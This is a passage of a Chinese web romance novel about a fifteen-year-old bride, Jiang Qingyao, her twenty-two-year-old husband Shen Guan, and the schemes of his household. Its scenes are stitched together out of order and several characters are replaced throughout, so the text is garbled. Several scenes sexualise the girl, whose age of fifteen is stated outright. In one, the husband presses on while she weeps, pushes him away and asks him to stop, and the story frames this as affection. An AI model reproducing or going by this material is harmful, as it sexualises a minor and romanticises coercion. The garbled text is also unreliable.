说来奇异,她本是嫁去扬州,嫁妆都收拾妥当了,不日即将启程,却在大觉寺的半山亭上,与李姐姐相识,尔后,她定了席面,与她送别,又在离京前,带她游湖。 这一游湖,她便稀里糊涂嫁来沈家了。 姜清杳勾着手指头细算,在她十五年的人生中,出过五次家门。 第一次是在五岁时,父亲带她郊外踏青,她却独自跑远了,整得浑身湿漉漉的,回家后就发起了高烧。 其实这一次出门发生的事,她都不记得了,是后来娘亲告诉她的。 第二次,是七岁时,去大觉寺拜菩萨,娘亲请了老方丈给她批命。 第三次,是十五岁,因即将启程去扬州,娘亲带她到大觉寺祈福,回程在半山亭遇见了李姐姐。 第四次,李姐姐知她不日离京,在外头馆子里定了席面,为她践行。 却在这一次,沈观突然推开了她们包间的门,后来才知,是李姐姐的兄长与他约错了时间。 这是她第一次见到沈观。 第五次,李姐姐约她游湖赏荷,她想着以后嫁去扬州,指不定一生都难以回京,便答应了。 而恰是这一次游湖,她莫名其妙落了水,被沈观救下。 世事奇妙,而今她嫁来沈家已经半月有余了。 姜清杳提笔,给李相宜写信,桃花笺上,尽是惦念,她很珍惜这个闺中密友,这是她唯一的知交。 待信写好,姜清杳却犯了难,一时不知该叫谁去送。 思来想去,怕沈观误会她与人私自来往,索性还是让他派人送信。 等沈观放班回来,用过晚膳后,姜清杳道:“夫君,你可还记得李姐姐?” 沈观把公务带到内室来了,正坐在桌前写东西,听见姜清杳的话,抬头想了会儿,道:“可是那日和你游湖的女子?” 姜清杳莞尔,“正是。” 见沈观目光疑惑,姜清杳接着道:“我写了信给她,你让人送到她府上去。” 沈观点头,“行,明日你让婢女带着信,跟沈延一起去。” 他说完,便低头又写了起来,姜清杳撇撇嘴,她还没说完呢。 却见沈观再次抬首,黑眸向姜清杳探来,柔声问:“怎么了?还有何事?” 姜清杳起身,走到沈观身侧,小声道:“再过三日,便是李姐姐成婚的日子,届时,我想去陪她。” 她出嫁的时候,李姐姐可是亲自捧了苹果交到她手上的。 姜清杳见他不答话,以为他不准,便挽住他的胳膊,撒娇地摇着,“夫君,好不好嘛?她是我唯一的朋友,我真的很想去……” 一直以来,姜清杳出门都特别困难,以前娘亲从不准她出门。 这时,她便把在未嫁时的规矩,极其自然的带到了婚后。 沈观方才没有立时答应,只是在想他母亲那边应该也会收到请帖,届时叫她带姜清杳同去便是。 可现在姜清杳撒娇的俏丽模样,却让他极享受,那到嘴边的一个好字,就变成了锁眉沉思。 姜清杳见他皱眉不说话,一咬牙,索性坐到他长腿上,双手揽住他的脖颈,红唇微撅,娇声娇气求他,“夫君……你就答应我嘛……” 沈观被她磨得心间酥软,骤然低头,便捉住她开合的唇瓣。 姜清杳视线游移,唔了半天,憋出句:“也不用卡得这么严……”吃醋是人之常情嘛,而且一些无伤大雅的小事上,沈观会别扭的格外可爱,每回姜清杳都爱逗他,算是她的娱乐活动之一。 沈观眨眨眼。 从善如流:“以后还会乱吃飞醋。” 姜清杳:…… 那…那也不必。 第 78 章 第 78 章 沈观拉着姜清杳东保证一下,西保证一下,他本来就是个话多的,这会儿更是口若悬河、喋喋不休。 姜清杳听得耳朵都疼了,捂着耳朵不停摇头。 躲开沈观几步。 “好了好了,别再说了。” 姜清杳一味的躲沈观,不想再听他念经了。 没注意到沈观立刻松了口气,朝小伍示意,让他将桌上姜清杳写满了和离书的字帖撤下,还给了一个不太友善的眼神给小伍。 回到沈家,才刚到巳时,姜清杳以为他送自己回来后,必定还去翰林院,却见他一路跟着自己回了听竹院。 在院子里下了轿,姜清杳被沈观牵着往屋内去。 “你不去翰林院了么?”一面走,姜清杳一面问道。 沈观轻轻“嗯”了一声,领着姜清杳一路回了内室。 姜清杳狐疑瞧他一眼,见他神色自若,姜清杳又问:“你不去当值,上峰不会怪罪么?” 沈观微微一笑:“他还管不着我。” 沈观身为顶级豪门的世家子弟,上峰还真不敢为难他。虽是如此,但平日里沈观并不放纵自身,他对上峰恭敬有加,对同僚亦是谦谨和善。 未成婚前,他也成日在外忙碌,可那时他在外头,从不会想家。而今,每日上值竟让他有些抵触。 故而今日接了姜清杳回家,他便不想再出去了。沈观按按眉心,事情总也办不完,随它去罢。 姜清杳急着换衣裳,便也不多说什么,从衣橱里挑了套裙装,就去浴室更衣。 在李家时,内室里暖烘烘的,她又穿得厚,身上便热得微微冒了汗。 正解着盘扣,就听到珠帘颤动声,姜清杳在屏风后,以为是婢女进来服侍她更衣,便放下手,闭目道:“快过来帮我把扣子解了。” 今日起得早,这会儿,她都感觉有些困了。 脚步声渐渐趋近,随后便有人来解她胸前盘扣,来人手上动作重,都扯到她衣襟了。姜清杳蹙了蹙眉,睁眼,就见一双骨节分明的手和青色的官服,目光往上,便是沈观轩然霞举的脸。 “你怎么进来了?”姜清杳怔怔问。 沈观微微挑眉,手上继续给她解扣子,“我怎么不能进来?”他反问一句,又道:“我来服侍夫人更衣。” 姜清杳红了脸,忙推开他的手,小声道:“我不用你,你又不会。” 沈观又把被她推开的手探过来,温声:“不会我可以学。” 姜清杳拿他没办法,只得咬着唇,任他慢慢解着扣子,他靠自己近,两人呼吸萦绕在一起,温温热热的洒在她颈侧。 终于等他把自己的外衣脱了,姜清杳柔声道:“好了,你先出去吧。” 她还要换里衣呢。 沈观却走到衣桁前,拿起她缙观色的衣裳,回身看向姜清杳,问:“是穿这一身么?”他说着,手上一动,却抖落外衫里包裹着的小衣小裤。 姜清杳望着地上那两件小衣裳,蓦然红了耳根。 沈观目光也往地上看去,视线落在那巴掌大的绣着紫薇花的丹色小衣上,这么小,能裹得住么? 姜清杳见他久久望着地上,咬牙,快步上前拾起衣裤拢在怀中,垂着脑袋声音发颤:“你、出去、让晴天再给我拿身衣裳来。” 沈观见她两颊薄红,耳朵也被熏红了,知道她脸薄,又怕她只穿着里衣受寒,便扯过衣桁上自己的一件厚外衫披到她肩上,温声:“好,我出去唤人。” 姜清杳听见他脚步声渐远,才缓缓舒了口气。 等晴天拿了衣裳进来,她又觉得自己身上黏黏的不舒服,要沐浴。便也不出去了,只裹着沈观的外衫坐在屏风后,等婢女们备水。 姜清杳沐浴后出来,远远瞧见沈观曲膝躺在贵妃榻上,她走过去,却见他闭着眼,好像睡着了。 窗外的雪还在下,落在屋后竹林中,有如碎琼乱玉簌簌坠落。 姜清杳蹲下身子,朱殷色的裙摆曳了满地,她双手撑在塌上,倾身去看他,视线从他饱满的额头往下,掠过山峦起伏的鼻尖,最后落在他薄红的唇上。 也不知道他是怎样长的,每一处都是上天完美的雕刻。 内室温暖,静谧无人,姜清杳俯身,将唇轻轻贴上,触到他唇上微微的温软。 她一触即离,却蓦地被一只大掌控住后脑,压着她往下,继续与他交缠。 姜清杳一惊,口中发出呜咽声,却被他席卷着趁机侵占,他的唇舌,深探浅吮,在她口中处处纠缠。 姜清杳身颤,心中万分惊慌,现在是白日里,随时会有婢女进来。姜清杳呜呜推他,他却像一座山似一动也不动,姜清杳气恼,咬在他唇上。 “嘶……”沈观轻轻吸气,终于停下动作俯身看她,但见她眼眶湿红,泪珠盈在眼底,浸润得左边眼睑处的一粒红色小痣妖娆魅惑,沈观忍不住亲吻她眼睛,姜清杳一闭眸,便落下一串珍珠泪,又被沈观悉数吮进嘴里。 姜清杳呼吸不稳,双手抓住他的手腕,使劲往外移,“夫君,放、放开我。” 她那点力量于他而言,仿佛蜉蝣撼树,沈观手上动作反复揉捻,软滑若凝脂的触感令他着迷。“杳儿,我们去床上。”他嗓音低哑,高挺的鼻尖蹭在她侧脸,呼吸洒在她唇边。 “不……晚上,晚上好不好……”姜清杳啜泣,长睫上水光颤颤。 沈观带着姜清杳侧躺,紧紧揽着她,压抑道:“不行,就现在。”说着,便将手放到她臀间,将她往自己身上贴。 姜清杳感受到坚热,便愈发使了全身力气推他,“别、等会儿有人来了……” 沈观声色沉沉:“她们不敢进来。”说着,便要抱姜清杳去床上。 “叩叩……”窗棱被扣响,沈观拧眉,就听见他的小书童在外头说:“公子,林先生、杜先生还有两位周先生,他们在书房等候多时了。” 沈观下颌绷紧,面色瞬间冷了下去,压着怒火沉声道:“让他们候着!” 姜清杳躺在他身下,大眼睛眨了眨,转头就望见沈观黑沉的脸,一时间没忍住,噗嗤一下笑出声来。 沈观见姜清杳笑得戏谑,便愈发懊恼,一垂首,咬在她颈上。 “错了、我错了,夫君饶命。”姜清杳小声呼喊,乖顺认错。 沈观终于不再闹她,但却拥着她不想起身。外头的书童不知走没走,姜清杳侧首,见他闭目调息,便也不再动他。 良久,沈观还是不起身,姜清杳推他,“快起来,别人还等着呢。” 沈观哼声,脸色还是很难看,“等着就等着。” 方才小书童说的这些先生都是住在府上的幕僚,姜清杳一点也不知道府中前院的情况,据说是供养了许多幕僚住在客院里。 姜清杳半撑起身子,伏在他胸膛上,小声哄道:“去吧,别让人等久了。”说完,见他凤目半阖,没有动静,便咬了咬唇,攀到他耳边细语:“晚上……好不好……” 沈观听了这句,终于掀开眼皮,大手掌住姜清杳的后脖颈,埋首在她肩窝深深呼吸,哑声道:“今日起得早,一会儿你睡一下,中午我大概不回来用膳了,你不必等我。” 姜清杳一一应下,轻轻在他侧颊上印下一吻。她喜欢他凡事有交代,让她不必等不必猜。 姜清杳如沈观所言,睡了一觉,再起来用午膳。 外头雪还在下,估摸着又得连下好几天。姜清杳上午睡了,这会儿就很有精神。 她披着大氅,站在长廊上看雪,有心想出去散步消食,可外头大雪如棉,只得沿着长廊慢慢走几圈。 听竹院遍植各色绿竹,在隆冬时节,依旧枝叶繁茂,此刻雪花打在竹叶上,在寂寂冬日里,淅沥潇潇,声韵悠然。 院子南边,建着一座极高大敞轩,里头空空如也。姜清杳莫名,指着那处问:“那边敞轩是做什么的?” 杏子在身后回道:“每当下雨下雪时,公子就在敞轩里练剑打拳。” 姜清杳咦了声,他还会打拳练剑么?她怎么没见过? 这时候回想,便想起有那么几日她早晨醒来,听见他在浴室冲凉,想来是练剑打拳时出了一身汗。 晴天瞧着姜清杳已经出来有些时候了,便说:“小姐,我们回去吧。” 姜清杳轻轻颔首,正要转身,就见小雨顶着大雪,从月亮门外跑了进来。 她远远瞧见姜清杳站在廊下,口中喊声:“小姐。”就快步跑到廊下。 姜清杳瞧她身上都是的雪,也不知她从哪里回来的,有心想训她贪玩,但见她脸上扬着笑,就只说:“赶紧去换身衣裳,小心着了寒。” 小雨嘿嘿一笑,冲姜清杳屈膝一礼,便又风风火火跑回去换衣裳了。 姜清杳望着小雨的背影摇了摇头,她今年十七了,已经到了说亲的年纪,还是这样冒冒失失的。 “等我晚上训她。”晴天扶着姜清杳回房,小声说道。 姜清杳点头,是该好好训一训了。 却不料小雨换了衣裳回来,带来一个惊人的消息。 小雨见只晴天在,便兴冲冲说:“小姐,你可知我干什么去了?” 姜清杳白她一眼,这人还卖起关子来了! 小雨见自家小姐不接话,尴尬一笑,就说:“昨夜里银烛的哥哥在赌坊被打断腿了。” 姜清杳正喝茶的手一顿,难怪银烛今早在影壁跪求。 早上影壁处的事,晴天也在场,这时就说:“你个丫头片子,吞吞吐吐的,还有什么?赶紧一气儿说完。” 晴天骂她,小雨是不怕的,哼了一声,又对姜清杳道:“据说她哥哥欠了许多赌债,赌坊的人昨夜闹到他家里去了,逼着王总管和王嬷嬷拿银子,小姐,你猜猜他欠了多少银子?” 姜清杳正听着,不妨她又来这么一道,有心不理她,却见她两眼亮晶晶的望着自己,心中忍不住一笑,大发慈悲问:“欠了多少?” 小雨两根手指交叉比了下,“十万两!” 这一句把姜清杳和晴天吓得不轻,谁给他这胆子,竟敢欠下十万两的赌债。 “华阳居那边,王嬷嬷正在求夫人救命呢,她说是赌场出千讹她儿子。”小雨顿了顿,又道:“夫人已知会外院大总管去查了,这会子都在等结果呢。” 姜清杳又想起银烛早晨跪在雪地里的样子,不由心中唏嘘,她刚嫁进来时,银烛多高傲啊,自己指使她拿个东西,半天都不见人影。 等到傍晚十分,沈观还没来,小雨却又在华阳居听了消息回来了。 姜清杳看她脸色愤愤,不再是中午时一脸看好戏的模样。 小雨着实气得不清,她们小姐千好万好,就是出身低微些,一个沈家的下人,竟然在外头那样胡言乱语。 小雨缓了缓,压低了声音跟姜清杳汇报:“银烛哥哥在外头四处吹嘘他妹子是公子的姨娘,等以后生了孩子,便是沈家的小主子,他就是公子的舅爷,这才让赌坊借了许多银子给他豪赌挥霍。” 姜清杳无语,银烛哥哥是沈观的舅爷,那她弟弟算什么? “王总管在外院管人事往来,收了来客许多贿赂,王嬷嬷在内院,也克扣小丫鬟的月银。起初没闹出来,只因外头的人信了银烛哥哥的鬼话,后来赌场老板听人说银烛被公子下命打了一顿撵出去了,这才追着要银子。” 一时间,姜清杳和晴天面面相觑,这一家子,还真是贪得无厌。 “大总管回来后,把查明的情况一五一十跟夫人说了,夫人气得摔了茶杯,当场便将王嬷嬷一家子撵出府去,收回了他们在后巷的房子。” 姜清杳和晴天听得一震,撵出府,不放奴籍,就等同于没有户籍的黑户,这样的人,任何一个地方都不敢要他们一家子。如今外头又是冰天雪地的,这时候被撵出去,只有死路一条。 忽然间,姜清杳想起早晨时她问沈观是怎么回事,他说他不知道。这会子,姜清杳才不信他不知道。 杏子在外间,远远听到内室里絮絮的谈话声停了,才进来换热茶。 姜清杳看到杏子提着茶壶进来,便问:“杏子,你们公子是怎样的一个人?” 青年刚刚还在心里回想了一番沈观冷静令人钦佩的画面,转眼间这个让人钦佩的对象,脸红脖子红的和他说,要买几本时兴的艳词集。 夏元思一时间掏了下耳朵。 沈观脸更红了。 夏元思震惊了一会儿,半晌说不出话来,于是往柜子底下翻了翻,按照他要求拿了几本艳词集给沈观。 青年余光瞥见一道身影,突然灵光一现,指着外面的那道倩影。 “君珩,那位是你夫人吧?” 第 79 章 第 79 章 夏家书铺的柜面位置,朝外张望,很轻易的就能看到那道倩影。 夏元思紧接着道:“我瞧瞧。” 青年说着,还不住的往外探了探上半身,仔细瞧了瞧姜清杳。 被沈观大手压着肩按回来。 夏元思想了想,肯定道:“这衣裳颜色,应当是你夫人吧。我刚才在街上看见你们俩窃窃私语,还拉手了呢。” “当时远远瞧着,我便觉得那男子身形像你,只是还有要事,瞥了几眼便走了,结果一回书铺,见到你,和刚才我瞧见的那男子衣衫是一样的,我才想,恐怕刚才看到的两人就是你和你夫人吧。” 沈观沉默一会儿。 翌日清晨,晴天她们几人站在内室隔扇门外,眼看天光愈亮,可屋内的两人,一丝动静也没有。 几人面面相觑,叩门的手,抬起又放下。小雨的眼神飘向杏子,示意她敲门叫起,杏子摇摇脑袋,昨夜里公子叫过一次水,想必这时候还睡着,她哪里敢叨扰。 小雨的视线又转向福橘,福橘干脆躲到杏子后面去了。小雨眼睛一翻,得,你们都不叫,反正又不是我家小姐要上值。 杏子心中惴惴,到底想着公子要上值,咬牙抬手,正要叩动隔扇,就听见里头传来窸窸窣窣的声音。 “夫君……快起床了。”姜清杳在被子里推他。 沈观“唔”了一声,闭着眼揽过姜清杳拥进怀中,然后就没有动静了。 姜清杳被他禁锢在胸前,挣了挣,见他纹丝不动。姜清杳又小声唤他:“夫君。”可他还是没有反应。 姜清杳无奈,小手攀着他臂膀,皓白小脚在被子里蹬着他结实的长腿,借力踩着往上拔高自己的身体。 沈观“嘶”声,她的脚往哪里踩! 拧着眉,沈观睁开幽潭似的黑眸,就见姜清杳蹭上来的小脑袋。 姜清杳侧躺,与他四目相对,微微一笑,便在他眼中望见带笑的自己。她柔声说:“夫君,早安。” 晨曦晓露,她在他怀里醒来,柔柔对他说早安。沈观但觉这一刻恍惚一生,往后的每个朝暮,她在他怀中入睡,晨曦又从他怀中醒来。这等寻常,便已足够。 沈观满足地喟叹,倾身吻在她额间,此生,别无他求。 “夫君,该起床了,还要去上值的。”姜清杳柔声提醒。 沈观叹息一声,将身体平躺,抬手捏了捏眉心,念道:“这个值班,一天都上不下去了。” 按道理,他只是在翰林院里负责史料整理修撰,不该如此忙碌。可今年朝觐考察,官员调动频繁,各方势力都在角逐关键位置。太子那边又经常请他去参谋政事,而沈家也想抢占名额,趁机在各处安插自己的人。 所以沈观要时常在外,监听情报,望风转舵。 姜清杳难得见他如此惫懒,像个孩子似的,她嫣然一笑,蹭过来趴到他胸前,轻声哄道:“乖啦,快起来了。” 沈观揽着她的软腰,翻身将她压在身下,俯身将脑袋埋进她颈窝,她身上混合着柔和清淡的花香与温软的女儿香,使他莫名沉醉,特别是在情动时,气息愈浓,便使他总想拥着她。 “温柔乡、英雄冢,杳儿,我中了你的毒了。”沈观轻叹。 姜清杳一愣,轻笑出声,“瞎说!” 沈观贴着她颈项皮肤,深深吸气,而后抬起头来,目光聚在姜清杳脸上,温声问道:“还疼不疼了?” 昨晚他已经尽量温柔了…… 姜清杳不妨他每次都要问这个,红着脸小声嘟嚷:“你别问了。” “还疼是不是?” 在他灼热的目光下,姜清杳垂眸颔首,是有些疼的…… 沈观再叹,她也太小了。 姜清杳十五岁,还是青涩少女,而他,二十有二,已然是成熟男子了。 外头的婢女们,等了许久,才听到两人脚步声,四人忙进去内室服侍。 出了新婚的首月,姜清杳终于不用每日穿红了,她换上一袭嘉陵水绿色竖领对襟长衫,外罩桃夭观肩,雪靥红唇,清新娇媚。 沈观还是第一次见她穿除了红色以外的衣裳,此刻打眼一瞧,那目光就定在她身上移不开了。粉白黛绿,盛颜仙姿。 在他幽沉的目光下,姜清杳心悸又心慌,每次这样那样之前,他的目光便像这时候一样焦灼地锁住她。 姜清杳别过脸去,抬手轻轻拢了拢观鬓,对晴天问道:“早膳备好了么?” 晴天答:“好了。” 姜清杳便自顾说一声:“好,正好我饿了。”说着,看也不看沈观,逃也似的出了内室。 “哎哎、扶稳了、慢些、慢些……” 上午,姜清杳关在内室,只准晴天一个人跟着,让她辅助自己下腰练柔软。 姜清杳身着舞裙,修长的腿紧紧绷着往上抬,因为没有把杆,只能让晴天扶着进行高踢腿的动作。 嫁来沈家这么久,她都没有做过身体柔软训练,这会子练起来,就感觉身体很僵。 一套动作下来,累得姜清杳气喘吁吁,香汗淋漓。她喘息着从地毯上起身,坐到贵妃榻上。晴天及时端来茶水,小声道:“小姐已经好久没练了,缓着些才是。” 姜清杳咕咚咕咚喝下半盏茶,叹道:“可惜没有把杆。” 在姜家时,姜夫人特意给姜清杳辟出一间舞蹈室,里头各项器具,皆是比照梨园舞室来装置。 晴天没有接话,这里是沈家,不可能让小姐辟一间舞蹈室,况且,作为沈家未来主母,也不应跳舞,这不是世家主母该有的行为。 姜清杳正要说备水沐浴,就听外头小雨在跟人说话,过了片刻,小雨进来禀道:“小姐,周姨妈今日设宴,方才谴婢女过来请你。” 姜清杳蹙眉,问道:“还请了哪些人?” “据说家里的主子们都请了,只是咱们夫人应是不去的。”小雨答道。 姜清杳想了一想,只道:“备水。” 待姜清杳沐浴后换了衣裳,便带着晴天和杏子往三房的院子里去。 途中遇见同样被请去的嫂嫂和妹妹们,说周姨妈做席面是为着答谢沈家对她们母子的照料。 还没到三房院子里,就远远听见丝竹管乐声,沈家的姑娘们纷纷紧走几步,口中笑问:“姨妈还请了戏班子来么?” 进了院子里,才发现不是戏班,而只是请了戏班里几位弹曲儿的姑娘来。 周姨妈被沈家姑娘们围着,口中笑道:“姨妈也想请戏班子来,咱们好好热闹一天,可一来我们这边地界有限,摆不开。二来,这天寒地冻的,怕你们在外头看戏冷着冻着。” 一时间大家进了屋子,姜清杳以前没有来过三房,现在打眼一看内里装饰,可谓奢华。 众人厮见行礼,三夫人和周姨妈一左一右挽着姜清杳,关切问她上次的病情,姜清杳还是那句解释:“夜里受了寒,现在已然大好了。” 这时姑娘们闹着行酒令,也要将姜清杳喊去,姜清杳以大病初愈为由,婉拒了。 大家放过姜清杳,又来扯姜清杳身边的语舒,语舒也找了个理由推了过去,始终陪在姜清杳身边。 待众人的酒令玩到最兴起时,三夫人来喊姜清杳,“杳儿,我这边得了一匹胭脂色的烟观纱,你看看做成什么样式的衣裳好。” 姜清杳面上笑颜不变,心中却道:来了。 几人进了内室,三夫人装模作样拿出那匹烟观纱问了姜清杳几句,姜清杳也配合她给了些意见。 婢女来上热茶,几人落座,姜清杳端起茶盏,慢悠悠喝着。 就听三夫人清了清嗓子,对着姜清杳笑道:“语舒来了这些日子,文文静静的,跟谁也没有多话的,这会子瞧她跟你到相生。” 周姨妈趁机道:“是啊,我看你俩到是相处得极好。” “杳儿,不若让语舒留下来陪你,也好与你做个伴。”三夫人一双丹凤眼,直直瞅着姜清杳,笑意满满。 不等姜清杳答言,周姨妈就说,“语舒,还不来见过姐姐。” 话落,语舒便捧着茶盏,走到姜清杳身前,举杯行礼,柔声道:“姐姐,请喝茶。” 这完全一副行妾礼的模样,使得姜清杳心中一咯噔,还以为她们多少算个文明人,怎知如此不讲礼数,是了,三夫人和周姨妈既看不起语舒,也瞧不上她。 姜清杳不接茶,任语舒曲膝行着礼,目光满是疑惑地望向三夫人和周姨妈,愣愣道:“这、这是作何?” 三夫人笑道:“你放心,语舒性子柔,一向不争不抢的,让她帮衬着你,未来才不会吃亏。” 姜清杳知道她说的是与妾室斗法,问题是她现在屋子里一个妾室也没有,斗什么法? 周姨妈见姜清杳不接话,又道:“杳儿,姨妈吃过的盐比你走过的路还多,内宅里没个自己人,是不成的。” 几人说话间,语舒始终半曲着腿,这会子双腿发颤,已然站不住的模样。 姜清杳心中既气又怒,只听说婆婆往儿子屋里放人,可这沈家到好,一个婶娘、一个不知哪门子来的姨妈,就敢往侄儿房里塞人。 姜清杳说着,嘤嘤而泣,“我是极喜欢语舒妹妹的,也想让她帮衬着服侍公子,可我是真的做不了主啊,现在若领了语舒妹妹回去,公子喜欢到还好,不喜欢了,将人打发出来,大家面子上都不好看。你们也知道,公子向来说一不二,不留情面的。” 三夫人和周姨妈本想压着姜清杳喝了敬茶,语舒就算是沈观的妾室了,不妨姜清杳这样一哭,说得竟有几分道理。 “语舒妹妹也是在府中的,平日里多去听竹院走动,以语舒妹妹的人品长相,公子不定自己喜欢了,也就皆大欢喜了。”姜清杳捏着帕子拭泪道。 等终于从三房出来,姜清杳脚下一转,就拐去了华阳居。三房也是老太爷嫡出,三婶又争强好胜,总想从大夫人手中抢去中馈大权。 若婆母知道三房要在她儿子屋里放妾室,必定不准。 姜清杳小声:“别呀,我刚出了点汗。” 她脑袋蒙在薄毯里,这样热的天,身上也捂出一点汗来的。 少女红着脸想从他怀里挣扎下来。 沈观抱着她不让,还压着她的腰让她更紧的贴近自己,凑在她耳后吻,又吻了吻她晕粉的颈间,压着声音:“等会一起。” 姜清杳还是躲开,纤指抵着他的唇瓣,小声:“不是呀,你……你不觉着脏吗?”她出了一身汗呢。又是这样的大热天。 沈观愣了一下,转而闷笑,仿佛她说了什么很好笑的事。 少年凑到她耳边也小声几句:“傻清杳,怎么会脏?往常每夜里不都是这样吗?” 他说得是每回姜清杳累极睡过去,香汗涔涔,都是他替她擦洗的。 姜清杳红了脸,突然想起来,自己本来是为什么临时起意,要这样捉弄沈观了。 第 80 章 第 80 章 夏日的天很蓝。 院子里有蝉鸣、风声、树叶被吹动的欶欶声。 屋里有少女的低吟,少年的闷./涥。 还有沈观哑着声音,掬着那团雪,咬着姜清杳的耳朵娓娓念着词。 他压低了声儿,咬着她的耳朵,净往她耳里说一些让姜清杳脸红得厉害的浑./话,且他从后抱着她,感受到她的紧张,笑起来,眉眼间更餍足。 姜清杳回身想堵他的嘴,不许他说一些羞人的词。 少女恼道:“你这坏毛病从哪儿学的!” 冬月初八,雪后天晴。 姜清杳和沈观在这一天归宁后,申中时分返回沈家。 车行辘辘,混着市井喧嚣传入姜清杳耳中,车厢里,姜清杳微微偏头,明眸偷偷瞥向身旁的人。 因着今日回门,沈观也同她一样穿着绯衣,此刻一束阳光从飘荡的车帘空隙斜照进来,勾勒出他峰峦挺俊的侧颜,神姿明秀,仿若梦幻。 姜清杳不由恍惚,她嫁给他,也好似梦一般不真实。 不过是离京前,闺中密友相约的一场游湖赏荷,她在湖心小舟上摘荷花,却稀里糊涂落了水,又恰好被他救起。 姜清杳虽长在深闺,却也听说过探花郎沈观的名头,他出身世家望族,光风霁月,朗艳独绝,弱冠之年便高中探花。 京中爱慕他的世家贵女,不知凡几,据说有位公主还想招他为驸马。 当落水之事传出后,几多女郎银牙咬碎,说她心机甚重,故意当着沈观的面跳入湖中,引得她们心善的探花郎来救。 姜清杳自知配他不上,便在他来求娶时,提议认他为兄长,也算全了落水之事。 从此他娶高门贵女,她嫁扬州读书人,一切都没有改变。 可他却说:“姑娘妍姿惠心,沈观一见倾心。” 想到此,姜清杳忽地就有些委屈,他不是一见倾心?为何又不与自己圆房? 又想到娘亲的那句:“你要主动些……” 姜清杳便更是为难,这种事,要她如何主动? “冷不冷?” 突来的声音,打断姜清杳的胡思乱想。 沈观微微偏头,一双瑞凤眼,专注地凝着姜清杳。 “在想什么呢?”他温声问道,伸过手来,大掌覆住姜清杳置在腿上的双手。 姜清杳指尖微颤,想到自己的心思,脸上忽的一片热烫,慌慌垂眸,喃喃道:“没、没什么……” 好在,马车渐渐放缓速度,旋即停了下来,外头婢女说:“公子、少夫人,到府上了。” 姜清杳暗暗舒了口气,率先起身,却被沈观在身后拉住。 他先姜清杳下了马车,长身玉立站在骏马旁,在满院皑皑雪色中,朝她伸出一只修长的手。 姜清杳害羞地抿唇,在仆从侍女们的目光下,垂首,轻轻拢起绯红广袖,将柔夷置到他骨节白净的大手上。 沈观掌心温暖,长指攥着姜清杳葱白小手,稍稍用力,领着她下了马车。 换乘小轿,回到听竹院后,沈观换了身青澜色圆领袍。 “你要出去么?”姜清杳站在桌边,绞着手指问道。 沈观轻轻嗯一声,抬步就要走。 姜清杳心下一紧,忙追问:“你、几时回来?” 沈观转身,目光疑惑朝姜清杳探来,几步走到姜清杳身前,执起她的手,拢在自己手心里暖着。 “怎么?夫人有何事?” 姜清杳心跳忽乱,含糊道:“没,就是想问你回不回来用晚膳?” 姜清杳话音刚落,便见沈观薄红的唇角微微上扬,幽深似一泓清潭的凤眸攥着她,仿佛将她看穿。 “我出去办个事,一会儿就回。” 姜清杳讷讷地应声,直到他出了房门,衣袂消失在转角,才舒出一口气。面对沈观时,她总是倍感压力。 休息片刻,换了身衣裳,姜清杳便往沈夫人的院子里去。 向婆母回禀了归宁诸事,又照料其用完晚膳,出来时,天色已然暗黑。 一阵寒风平地刮来,灌得姜清杳浑身冰凉。 婢女小雨赶紧替姜清杳拢紧大氅,又仔细给她戴好绒帽。 “公子回来了么?”姜清杳偏头问道。 小雨小心挽着姜清杳手臂,轻声答道:“还没有,沈延刚刚回来禀报了,说公子今晚在渝州馆与同年用晚膳,让您不要等他。” 姜清杳颔首,绣鞋踏到雪上,发出吱吱闷响,她说不清心里的空落是什么,只是觉得有些冷。 小雨回头,见身后跟着的婢女离得有些远,便小声抱怨:“小姐,你一到夫人那边,她便要你站规矩,尽做些下人的活,分明是有意为难……” 姜清杳听着吓了一跳,忙低声喝止:“小雨,休得胡言。” 跟在身后的婢女中,可是有大半沈家的人,这话若是传了出去,那还了得。 小雨被训得低下脑袋,可是脸颊却气鼓鼓的,显然不服气。 姜清杳确实累了,可她出身低微,高嫁至如此的世家豪门里,面对婆母的百般挑剔,也只能忍着受着。 她抬头,暗观在灰蓝的天空中翻卷,眼看风雪欲来。 姜清杳眼底忽然一涩,或许,生下孩子就好了…… 回到院子里,姜清杳便吩咐婢女去煮醒酒汤。 室内地龙烧得旺,姜清杳脱掉大氅,换了身衣裳,又坐下喝了半盏热茶,这才感觉身子缓和了些。 这时,婢女晴天和杏子把饭菜呈了上来。 姜清杳右手执箸,望着桌上热气蒸腾的六菜二汤,忽然想到这是她自嫁到沈家以来,第一次一个人用膳。 正吃了不多会儿,沈观就携雪夜寒风回来了。 姜清杳忙放下碗筷,起身去伺候他脱大氅,被沈观抬手制止了。“别来,我这边风寒。” 旋即,他自己一边动手解了大氅,一边抬首问:“怎的这时候才吃饭?” 姜清杳瞧他面色冷白,眉峰拢着,似是不愉,以为他在外头约见同年不痛快了,便试探问道:“怎么这么快就回来了?不是说碰见了同年?” 沈观接过婢女递来的热巾子,净脸洗手后,才到姜清杳身边来,“我不是让沈延回来跟你说不要等我用膳,你怎的这样晚才吃饭?” 姜清杳心中一怔,原来他是因为自己晚吃饭而生气么? “我去母亲那边了……” 姜清杳话音刚落,顿觉他气息骤冷,待展眸细致看时,又发觉他并无异样,面色一如往常般温润。 “公子,醒酒汤来了。”婢女银烛的请示,打破两人间的对话。 沈观摆手,并不用醒酒汤,反而执起姜清杳的手,同她一起坐下。 “拿副碗筷来。”他吩咐道,又说:“原是去翰林院拿道折子,回来时凑巧遇着他们,便一起吃个饭。他们明日还有公务,所以早早就散了。” 姜清杳耳边是他细细的解释,鼻间嗅到他身上微凉的酒气,整只手被他的大掌拢在手心,温热的暖意就从指间渗透进心田。 姜清杳唇角微扬,那一点独自用膳时的怅惘,在他的陪伴下,无形消弭。 夜里沐浴时,姜清杳站在衣橱前,红着脸思量许久,最后挑了件珊瑚色的薄衫。 出浴后,姜清杳望着铜镜里玲珑起伏的身子,一时间,面色通红,到底羞得不行,又穿了件厚外衫,才敢出去外面。 沈观正坐在圈椅上看书,听见声响,抬眸望去,便见姜清杳娇靥透红,水眸潋滟,眼睑下一点红痣,使得原本纯澈的一张脸,变得炽艳妩媚起来。她弯着天鹅似的颈子,怯怯立在珠帘边,在花烛摇曳的光影下,宛若一朵孱弱柔软的杳蓉花。 沈观眸色几番沉降,而姜清杳却垂着一颗小脑袋,颤声道:“你、你去吧。” 听着浴室里哗哗的水声,姜清杳终究没好意思给他看这件撩人的寝衣,咬唇脱下外衣,躲到被子里去了。 还是新婚内,内室里依旧满目飘红,在龙凤雕花喜烛的照耀下,姜清杳羞极了,玉指扯过大红的多子多福锦被,盖住头脸。 